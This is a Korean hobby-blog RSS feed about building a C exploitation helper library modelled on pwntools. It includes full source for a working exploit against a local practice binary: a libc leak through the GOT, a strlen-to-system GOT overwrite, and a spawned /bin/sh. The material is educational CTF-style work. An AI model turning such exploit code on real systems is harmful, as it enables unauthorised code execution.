<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>youngsouk</title>
    <link>https://youngsouk-hack.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Thu, 28 May 2026 14:15:15 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>youngsouk</managingEditor>
    <image>
      <title>youngsouk</title>
      <url>https://t1.daumcdn.net/cfile/tistory/9954EA3D5C55467F23</url>
      <link>https://youngsouk-hack.tistory.com</link>
    </image>
    <item>
      <title>MakeFile 생성 &amp;amp; 사용 모습</title>
      <link>https://youngsouk-hack.tistory.com/154</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;헤더파일과 소스코드를 오브젝트 파일로 일일이 컴파일을 해주어야 하는 불편함이 있어서 MakeFile이라는 것을 만들어서 간편하게 해보았다.&lt;/p&gt;
&lt;pre id=&quot;code_1623717948660&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CC = &quot;gcc&quot;
CFLAGS = &quot;-W&quot;
TARGET = exp

$(TARGET) : pwnc.o exp.o
	$(CC) $(CFLAGS) -o $(TARGET) pwnc.o exp.o

pwnc.o : pwnc.c
	$(CC) $(CFLAGS) -c -o pwnc.o pwnc.c

exp.o : exp.c
	$(CC) $(CFLAGS) -c -o exp.o exp.c

clean : 
	rm pwnc.o exp.o exp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 makefile을 구성하여 이제는 make명령어만 입력하면 자동으로 컴파일 되게 해놓았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 컴파일한 뒤 실행하는 모습은 이렇다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;1636&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boN8UH/btq7icfTbef/RZnV0C2OZnbzWWmL82cmLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boN8UH/btq7icfTbef/RZnV0C2OZnbzWWmL82cmLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boN8UH/btq7icfTbef/RZnV0C2OZnbzWWmL82cmLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboN8UH%2Fbtq7icfTbef%2FRZnV0C2OZnbzWWmL82cmLk%2Fimg.png&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;1636&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 쉘을 성공적으로 획득한 것을 알 수 있다.&lt;/p&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/154</guid>
      <comments>https://youngsouk-hack.tistory.com/154#entry154comment</comments>
      <pubDate>Tue, 15 Jun 2021 09:51:02 +0900</pubDate>
    </item>
    <item>
      <title>완성</title>
      <link>https://youngsouk-hack.tistory.com/153</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;최근 시험기간이라서 많이 코딩하지는 못했지만 우여곡절 끝에 전체적인 함수들과 구조체를 완성했고 이런 함수와 구조체를 별도의 헤더파일로 구성하면 끝이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1623717062825&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;리눅스 환경에서의 C 프로그래밍 - 12장 모듈과 라이브러리&quot; data-og-description=&quot;공유라이브러리와 정적라이브러리의 장단점&quot; data-og-host=&quot;www.joinc.co.kr&quot; data-og-source-url=&quot;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&quot; data-og-url=&quot;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;리눅스 환경에서의 C 프로그래밍 - 12장 모듈과 라이브러리&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;공유라이브러리와 정적라이브러리의 장단점&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.joinc.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GCC를 이용해서 헤더 파일들을 컴파일 한 뒤에 오브젝트 파일들을 링크하는 방식으로 해야 하는데 나는 그냥 헤더파일을 인클루드한 파일만 컴파일 하려해서 오류가 많이 발생했다. 그래서 위에 글을 참조해서 헤더파일 분리까지 완성했다. 또한 세이프 인클루드까지 해놓았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적인 소스코드는 이렇게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwn.c&lt;/p&gt;
&lt;pre id=&quot;code_1623717148240&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &quot;pwnc.h&quot;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;
#include &amp;lt;elf.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt; 
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;

#define INPUT_LIMIT 0x10000
#define RECV_LIMIT 0x10000
#define REMOTE 1
#define LOCAL 0
// #define MODE LOCAL

int fd[2][2]; // 프로세스 통신을 위한 fd[0] : 입력, fd[1] : 출력

/*
typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;
*/

unsigned long long * p64(unsigned long long value){
    unsigned long long * tmp = malloc(sizeof(unsigned long long) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned long long)) = '\0';

    return tmp;
}

unsigned int * p32(unsigned int value){
    unsigned int * tmp = malloc(sizeof(unsigned int) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned int)) = '\0';

    return tmp;
}

void remote(char * ip, int port){
    int SocketNum = socket(PF_INET, SOCK_STREAM, 0);
    struct sockaddr_in    server_addr;
    
    if(SocketNum &amp;lt; 0){
        printf(&quot;Socket 오류&quot;);
        exit(0);
    }

    memset( &amp;amp;server_addr, 0, sizeof( server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr= inet_addr(ip);

    if (inet_pton(AF_INET, &quot;127.0.0.1&quot;, &amp;amp;server_addr.sin_addr) != 1) {
        printf(&quot;inte_pton&quot;);
        exit(0);
    }
    if( -1 == connect( SocketNum, (struct sockaddr*)&amp;amp;server_addr, sizeof( server_addr) ) )
    {
        printf( &quot;접속 실패\n&quot;);
        exit( 1);
    }
    fd[1][0] = SocketNum;
    fd[0][1] = SocketNum;
    
    printf(&quot;Set Connnection with %s:%d&quot;, ip, port);
}

int process(char * path){
    pid_t pid;
    if(pipe(fd[0]) &amp;lt; 0){
        printf(&quot;pipe error&quot;);
        exit(0);
    } 
    if(pipe(fd[1]) &amp;lt; 0){
        printf(&quot;pipe error&quot;);
        exit(0);
    } 
    
    switch(pid = fork()){
    case -1:
        printf(&quot;fork error&quot;);
        return -1;
    case 0:
        close(fd[1][0]);
        close(fd[0][1]);

        close(1);
        close(0);
        
        dup2(fd[1][1], STDOUT_FILENO);
        dup2(fd[0][0], STDIN_FILENO);
        
        execl(path, path, NULL);
    }

    close(fd[1][1]);
    close(fd[0][0]);

    char buf[1000];
    printf(&quot;[*] Starting local process... pid is %d\n&quot;, pid);
    return 0;
}

int Recvuntil(char * str, int print){
    int i = 0, len = strlen(str), cnt = 0; // i : index, len : source length, cnt : total recv amount
    char * tmp = (char * ) calloc(1, len);

    while(1){
        read(fd[1][0], tmp + i, 1);

        cnt++;
        if(print == 1) write(1, tmp + i, 1);
        if(*(tmp + i) == *(str + i)) i++;
        else i = 0;
        if(i == len - 1){
            free(tmp);
            return cnt;
        };
    }
}

char * Recv(int cnt, int print){
    char * tmp;
    int len;

    tmp = (char * ) calloc(1, cnt + 1); // cnt + 1 : NULL 문자 때문에
    len = read(fd[1][0], tmp, cnt);
    if(print == 1) printf(&quot;%s\n&quot;, tmp);

    return tmp;
}

int Send(char * str){
    return write(fd[0][1], str, strlen(str));
}

int Send32(char * str){ // 0 값을 보내기 위한 함수. strlen(&quot;\x00&quot;) = 0이기 때문
    return write(fd[0][1], str, 4);
}

int Send64(char * str){
    return write(fd[0][1], str, 8);
}

int Sendline(char * str){
    int len;
    char * tmp = (char * ) calloc(1, strlen(str) + 2); // strlen(str) + 2 : '\n' 개행 문자 , NULL 때문에

    strcpy(tmp, str);
    strcat(tmp, &quot;\n&quot;);
    len = Send(tmp);
    free(tmp);
    return len;
}

void interactive(){
    char * input = (char * ) malloc(INPUT_LIMIT); // 사용자의 입력 저장. 최대 크기 : INPUT_LIMIT 매크로 상수(기본 : 0x1000)

    printf(&quot;Switching to interactive mode\n&quot;);
    while(1){
        Recv(RECV_LIMIT, 1); // 입력받을 최대크기 : RECV_LIMIT 매크로 상수(기본 : 0x1000)
        write(1, &quot;$&quot;, 1);
        *(input + read(0, input, INPUT_LIMIT)) = '\0';
        Send(input);
    }
}


Section findSectionHeader(int fd){
    Section section;
    Elf64_Off * SectionHeader = malloc(sizeof(Elf64_Off));
    Elf64_Half * SectionCnt = malloc(sizeof(Elf64_Half));
    Elf64_Half * SectionStringIndex = malloc(sizeof(Elf64_Half));
    Elf64_Shdr * SectionInformation;
    char * SectionName;
    
    //ELF 헤더
    lseek(fd, offsetof(Elf64_Ehdr, e_shnum), SEEK_SET);
    read(fd, SectionCnt, sizeof(Elf64_Half));
    section.SectionCnt = *SectionCnt;
    SectionInformation = malloc(*SectionCnt * sizeof(Elf64_Shdr));
    section.SectionHeader = SectionInformation;

    lseek(fd, offsetof(Elf64_Ehdr, e_shoff), SEEK_SET);
    read(fd, SectionHeader, sizeof(Elf64_Off));

    lseek(fd, offsetof(Elf64_Ehdr, e_shstrndx), SEEK_SET);
    read(fd, SectionStringIndex, sizeof(Elf64_Half));
    section.SectionStringIndex = *SectionStringIndex;

    //색션 정보 얻기
    lseek(fd, *SectionHeader, SEEK_SET);
    read(fd, SectionInformation, sizeof(Elf64_Shdr) * *SectionCnt);

    Elf64_Shdr * SectionString = SectionInformation + *SectionStringIndex;
    lseek(fd, SectionString -&amp;gt; sh_offset, SEEK_SET);
    SectionName = malloc(SectionString -&amp;gt; sh_size);
    read(fd, SectionName, SectionString -&amp;gt; sh_size);
    section.SectionName = SectionName;

    return section;
}

Elf64_Shdr * getSectionInfo(Section section, char * name){
    for(int i = 0; i &amp;lt; section.SectionCnt; i++){
        if(!strcmp(section.SectionName + ((section.SectionHeader + i) -&amp;gt; sh_name),name)) return section.SectionHeader + i;
    }
    
    return 0;
}

GOT * findGOTInfo(int fd, Section section){
    int i;

    Elf64_Shdr * PLTRelSection = getSectionInfo(section, &quot;.rela.plt&quot;);
    if(PLTRelSection == 0) return 0;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, &quot;.dynsym&quot;);
    Elf64_Shdr * dynstrSection = getSectionInfo(section, &quot;.dynstr&quot;);

    Elf64_Rela * PLTRel = malloc(PLTRelSection -&amp;gt; sh_size);
    Elf64_Sym * dynsym = malloc(dynsymSection -&amp;gt; sh_size);
    char * dynstr = malloc(dynstrSection -&amp;gt; sh_size);

    int SymOffset; // got 주소 얻는데 사용
    int NameOffset;

    int FunctionCnt = (PLTRelSection -&amp;gt; sh_size) / sizeof(Elf64_Rela);
    GOT * got = malloc(sizeof(GOT) * (FunctionCnt + 1)); //FunctionCnt + 1 NULL 구조체 추가

    lseek(fd, PLTRelSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, PLTRel, PLTRelSection -&amp;gt; sh_size);

    lseek(fd, dynsymSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -&amp;gt; sh_size);

    lseek(fd, dynstrSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -&amp;gt; sh_size);
    
    int idx = 0;
    for(i = 0; i &amp;lt; FunctionCnt; i++){
        if((PLTRel + i) -&amp;gt; r_offset != 0){
            (got + idx) -&amp;gt; addr = (PLTRel + i) -&amp;gt; r_offset;

            SymOffset = ELF64_R_SYM((PLTRel + i) -&amp;gt; r_info);
            NameOffset = (dynsym +  SymOffset) -&amp;gt; st_name;
            (got + idx) -&amp;gt; name = dynstr + NameOffset;
            idx++;
        }
    }
    
    (got + i) -&amp;gt; addr = 0;
    (got + i) -&amp;gt; name = 0;

    return got;
}

unsigned long long getGOT(GOT * got, char * target){
    if(__glibc_unlikely(got == 0)) return 0;
    for(int i = 0; (got + i) -&amp;gt; addr != 0 || (got + i) -&amp;gt; name != 0; i++){
        if(!(strcmp((got + i) -&amp;gt; name, target))) return (got + i) -&amp;gt; addr;
    }

    return 0;
}

SYM * findSYM(int fd, Section section){
    int i;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, &quot;.dynsym&quot;);
    Elf64_Shdr * dynstrSection = getSectionInfo(section, &quot;.dynstr&quot;);
    Elf64_Sym * dynsym = malloc(dynsymSection -&amp;gt; sh_size);
    char * dynstr = malloc(dynstrSection -&amp;gt; sh_size);

    int SymbolCnt = (dynsymSection -&amp;gt; sh_size) / sizeof(Elf64_Sym);
    SYM * symbol = malloc(sizeof(SYM) * (SymbolCnt + 1)); //SymbolCnt + 1 : NULL 구조체 추가

    char * t;
    int NameOffset;

    lseek(fd, dynsymSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -&amp;gt; sh_size);

    lseek(fd, dynstrSection -&amp;gt; sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -&amp;gt; sh_size);

    int idx;
    for(i = 0; i &amp;lt; SymbolCnt; i++){
        if(((dynsym + i) -&amp;gt; st_value) != 0){
            (symbol + idx) -&amp;gt; value = (dynsym + i) -&amp;gt; st_value;

            NameOffset = (dynsym + i) -&amp;gt; st_name;
            (symbol + idx) -&amp;gt; name = dynstr + NameOffset;
            idx++;
        }
    }
    (symbol + i) -&amp;gt; value = 0;
    (symbol + i) -&amp;gt; name = 0;

    return symbol;
}

unsigned long long getSYM(SYM * sym, char * target){

    if(__glibc_unlikely(sym == 0)) return 0;
    for(int i = 0; (sym + i) -&amp;gt; value != 0 || (sym + i) -&amp;gt; name != 0; i++){
        if(!(strcmp((sym + i) -&amp;gt; name, target)))return (sym + i) -&amp;gt; value;
    }

    return 0;
}

ELFInfo ELF(char * path){
    int fd = open(path, O_RDONLY);
    ELFInfo elf;

    elf.fd = fd;
    elf.filename = path;
    elf.section = findSectionHeader(fd);
    elf.got = findGOTInfo(fd, elf.section);
    elf.sym = findSYM(fd, elf.section);

    return elf;
}

ELFInfo getLibcELF(ELFInfo elf){
    char * LibcPath = malloc(1024);
    char * command = malloc(1024);
    int fd = open(&quot;.result.txt&quot;, O_RDWR | O_CREAT | O_TRUNC, 0644);
    ELFInfo LibcELF;
    char tmp;
    int i;

    sprintf(command, &quot;ldd %s &amp;gt;&amp;gt; .result.txt&quot;, elf.filename);
    if(system(command) == -1){
        printf(&quot;system() error&quot;);
        exit(0);
    }

    for(int i = 0; i &amp;lt; 2; i++){
        while(1){
            read(fd, &amp;amp;tmp, 1);
            if(tmp == '&amp;gt;') break;
        }
    }
    
    for(int i = 0; i&amp;lt; 2; i++){
        i = 0;
        while(1){
            read(fd, &amp;amp;tmp, 1);
            if(tmp == ' ') break;
            *(LibcPath + i) = tmp;
            i++;
        }
    }
    
    LibcELF = ELF(LibcPath);

    return LibcELF;
}

void hexdump(void * target, int size){
    unsigned long long * t1;
    unsigned long long mask;
    unsigned long long tmp;
    for(long unsigned int i = 0; i &amp;lt; size / 16 + 1; i++){
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        printf(&quot;%08lx &quot;, i);
        for(int j = 0; j &amp;lt; 16; j++){
            if(j % 4 == 0)printf(&quot; &quot;);
            tmp = *t1 &amp;amp; mask;
            printf(&quot;%02llx &quot;, tmp &amp;gt;&amp;gt; (8 * j));
            mask = mask &amp;lt;&amp;lt; 8;
        }
        printf(&quot; &quot;);
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        for(int j = 0; j &amp;lt; 16; j++){
            if(j % 4 == 0)printf(&quot;|&quot;);
            tmp = *t1 &amp;amp; mask;
            printf(&quot;%c&quot;, (char) (tmp &amp;gt;&amp;gt; (8 * j)));
            mask = mask &amp;lt;&amp;lt; 8;
        }
        printf(&quot;\n&quot;);
    }
}
/*

void io32(int a, int print){
    char * tmp = (char * )p32(a);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Send32(tmp);
    free(tmp);
}

void io64(unsigned long long a, int print){
    char * tmp = (char * ) p64(a);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Send64(tmp);
    free(tmp);
}

void arb_write(unsigned long long addr, unsigned long long value, int print){
    
    //io32(0, print);
    Recvuntil(&quot;&amp;gt;&quot;, print);
    Send32((char *)p32(0));

    io64(addr, print);
    io64(value, print);
    io32(8, print);

    Recvuntil(&quot;OK\n&quot;, print);
}

unsigned long long * arb_read(unsigned long long addr, unsigned long long size, int print){
    unsigned long long * ret;

    io32(1, print);
    io64(addr, print);
    io64(size, print);

    Recv(1, print); // ' ' 때문에 1바이트를 먼저 받아준다.
    ret = (unsigned long long *)Recv(8, print);
    Recvuntil(&quot;OK\n&quot;, print);
    
    printf(&quot;\n&quot;);
    hexdump(ret, 16);
    printf(&quot;\n&quot;);

    return ret;
}

void dummy(char * s, int print){
    io32(2, print);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Sendline(s);
    Recvuntil(&quot;OK\n&quot;, print);
}


int main(){
    setvbuf(stdout, NULL, _IONBF, 0); // printf 함수 사용시 버퍼링 때문에 잘 출력이 안되는 경우가 있었음.
    unsigned long long LibcAddr;   
    
    ELFInfo elf = ELF(&quot;./prob&quot;);
    // ELFInfo libc = getLibcELF(elf);
    ELFInfo libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;);
    unsigned long long * WriteAddr;
    
    if(MODE == REMOTE) remote(&quot;localhost&quot;, 9000);
    else if(MODE == LOCAL) process(&quot;./prob&quot;);
    else {
        printf(&quot;set mode LOCAL or REMOTE&quot;);
        exit(0);
    }

    dummy(&quot;a&quot;, 0); // 바이너리의 dummy함수는 strlen 함수를 사용합니다. 따라서 dummy함수를 한번이라도 실행한다면 strlen 함수의 got에 strlen 함수의 실제주소가 들어가게 된다.
    
    WriteAddr = arb_read(getGOT(elf.got, &quot;write&quot;), 8, 0);
    LibcAddr = *WriteAddr - getSYM(libc.sym, &quot;write&quot;);
    printf(&quot;[*] Libc address = %p\n&quot;, (void *)LibcAddr);

    arb_write(getGOT(elf.got, &quot;strlen&quot;), LibcAddr + getSYM(libc.sym, &quot;system&quot;), 0);
    
    io32(2, 0);
    Recvuntil(&quot;&amp;gt; &quot;, 0);
    Sendline(&quot;/bin/sh&quot;);
    
    interactive();
}
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwn.h&lt;/p&gt;
&lt;pre id=&quot;code_1623717168975&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#ifndef __PWNC__H
# define __PWNC__H

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;
#include &amp;lt;elf.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt; 
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;

#define INPUT_LIMIT 0x10000
#define RECV_LIMIT 0x10000
#define REMOTE 1
#define LOCAL 0

extern int fd[2][2]; // 프로세스 통신을 위한 fd[0] : 입력, fd[1] : 출력

typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;

extern unsigned long long * p64(unsigned long long value);

extern unsigned int * p32(unsigned int value);

extern void remote(char * ip, int port);

extern int process(char * path);

extern int Recvuntil(char * str, int print);

extern char * Recv(int cnt, int print);

extern int Send(char * str);

extern int Send32(char * str);

extern int Send64(char * str);

extern int Sendline(char * str);

extern void interactive(void);


extern Section findSectionHeader(int fd);

extern Elf64_Shdr * getSectionInfo(Section section, char * name);

extern GOT * findGOTInfo(int fd, Section section);

extern unsigned long long getGOT(GOT * got, char * target);

extern SYM * findSYM(int fd, Section section);

extern unsigned long long getSYM(SYM * sym, char * target);

extern ELFInfo ELF(char * path);

extern ELFInfo getLibcELF(ELFInfo elf);

extern void hexdump(void * target, int size);

#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exp_copy.c&lt;/p&gt;
&lt;pre id=&quot;code_1623717181853&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &quot;pwnc.h&quot;
#define MODE LOCAL

void io32(int a, int print){
    char * tmp = (char * )p32(a);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Send32(tmp);
    free(tmp);
}

void io64(unsigned long long a, int print){
    char * tmp = (char * ) p64(a);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Send64(tmp);
    free(tmp);
}

void arb_write(unsigned long long addr, unsigned long long value, int print){
    
    //io32(0, print);
    Recvuntil(&quot;&amp;gt;&quot;, print);
    Send32((char *)p32(0));

    io64(addr, print);
    io64(value, print);
    io32(8, print);

    Recvuntil(&quot;OK\n&quot;, print);
}

unsigned long long * arb_read(unsigned long long addr, unsigned long long size, int print){
    unsigned long long * ret;

    io32(1, print);
    io64(addr, print);
    io64(size, print);

    Recv(1, print); // ' ' 때문에 1바이트를 먼저 받아준다.
    ret = (unsigned long long *)Recv(8, print);
    Recvuntil(&quot;OK\n&quot;, print);
    
    printf(&quot;\n&quot;);
    hexdump(ret, 16);
    printf(&quot;\n&quot;);

    return ret;
}

void dummy(char * s, int print){
    io32(2, print);
    Recvuntil(&quot;&amp;gt; &quot;, print);
    Sendline(s);
    Recvuntil(&quot;OK\n&quot;, print);
}

int main(){
    setvbuf(stdout, NULL, _IONBF, 0); // printf 함수 사용시 버퍼링 때문에 잘 출력이 안되는 경우가 있었음.
    unsigned long long LibcAddr;   
    
    ELFInfo elf = ELF(&quot;./prob&quot;);
    // ELFInfo libc = getLibcELF(elf);
    ELFInfo libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;);
    unsigned long long * WriteAddr;
    
    if(MODE == REMOTE) remote(&quot;localhost&quot;, 9000);
    else if(MODE == LOCAL) process(&quot;./prob&quot;);
    else {
        printf(&quot;set mode LOCAL or REMOTE&quot;);
        exit(0);
    }

    dummy(&quot;a&quot;, 0); // 바이너리의 dummy함수는 strlen 함수를 사용합니다. 따라서 dummy함수를 한번이라도 실행한다면 strlen 함수의 got에 strlen 함수의 실제주소가 들어가게 된다.
    
    WriteAddr = arb_read(getGOT(elf.got, &quot;write&quot;), 8, 0);
    LibcAddr = *WriteAddr - getSYM(libc.sym, &quot;write&quot;);
    printf(&quot;[*] Libc address = %p\n&quot;, (void *)LibcAddr);

    arb_write(getGOT(elf.got, &quot;strlen&quot;), LibcAddr + getSYM(libc.sym, &quot;system&quot;), 0);
    
    io32(2, 0);
    Recvuntil(&quot;&amp;gt; &quot;, 0);
    Sendline(&quot;/bin/sh&quot;);
    
    interactive();
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/153</guid>
      <comments>https://youngsouk-hack.tistory.com/153#entry153comment</comments>
      <pubDate>Mon, 14 Jun 2021 15:40:49 +0900</pubDate>
    </item>
    <item>
      <title>코딩&amp;amp;디버깅 중</title>
      <link>https://youngsouk-hack.tistory.com/152</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;interactive함수와 hexdump함수를 구현했다. 이 과정에서 interactive함수가 잘 동작하지 않아 gdb로 디버깅하는데 많이 애를 먹었다. 해킹할 프로그램도 디버깅해보면서 공격방법을 구상하였는데 hexdump()함수를 완성하여서 디버깅하기에 수월했다.&lt;/p&gt;
&lt;pre id=&quot;code_1623652681878&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void interactive(){
    char * input = (char * ) malloc(INPUT_LIMIT); // 사용자의 입력 저장. 최대 크기 : INPUT_LIMIT 매크로 상수(기본 : 0x1000)

    printf(&quot;Switching to interactive mode\n&quot;);
    while(1){
        Recv(RECV_LIMIT, 1); // 입력받을 최대크기 : RECV_LIMIT 매크로 상수(기본 : 0x1000)
        write(1, &quot;$&quot;, 1);
        *(input + read(0, input, INPUT_LIMIT)) = '\0';
        Send(input);
    }
}
void hexdump(void * target, int size){
    unsigned long long * t1;
    unsigned long long mask;
    unsigned long long tmp;
    for(long unsigned int i = 0; i &amp;lt; size / 16 + 1; i++){
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        printf(&quot;%08lx &quot;, i);
        for(int j = 0; j &amp;lt; 16; j++){
            if(j % 4 == 0)printf(&quot; &quot;);
            tmp = *t1 &amp;amp; mask;
            printf(&quot;%02llx &quot;, tmp &amp;gt;&amp;gt; (8 * j));
            mask = mask &amp;lt;&amp;lt; 8;
        }
        printf(&quot; &quot;);
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        for(int j = 0; j &amp;lt; 16; j++){
            if(j % 4 == 0)printf(&quot;|&quot;);
            tmp = *t1 &amp;amp; mask;
            printf(&quot;%c&quot;, (char) (tmp &amp;gt;&amp;gt; (8 * j)));
            mask = mask &amp;lt;&amp;lt; 8;
        }
        printf(&quot;\n&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>1인 1프로젝트</category>
      <author>youngsouk</author>
      <guid isPermaLink="true">https://youngsouk-hack.tistory.com/152</guid>
      <comments>https://youngsouk-hack.tistory.com/152#entry152comment</comments>
      <pubDate>Tue, 8 Jun 2021 09:45:04 +0900</pubDate>
    </item>
    <item>
      <title>코딩중</title>
      <link>https://youngsouk-hack.tistory.com/151</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://youngsouk-hack.tistory.com/150&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.05.11 - [1인 1프로젝트] - 코딩 중&lt;/a&gt;&lt;/p&gt;
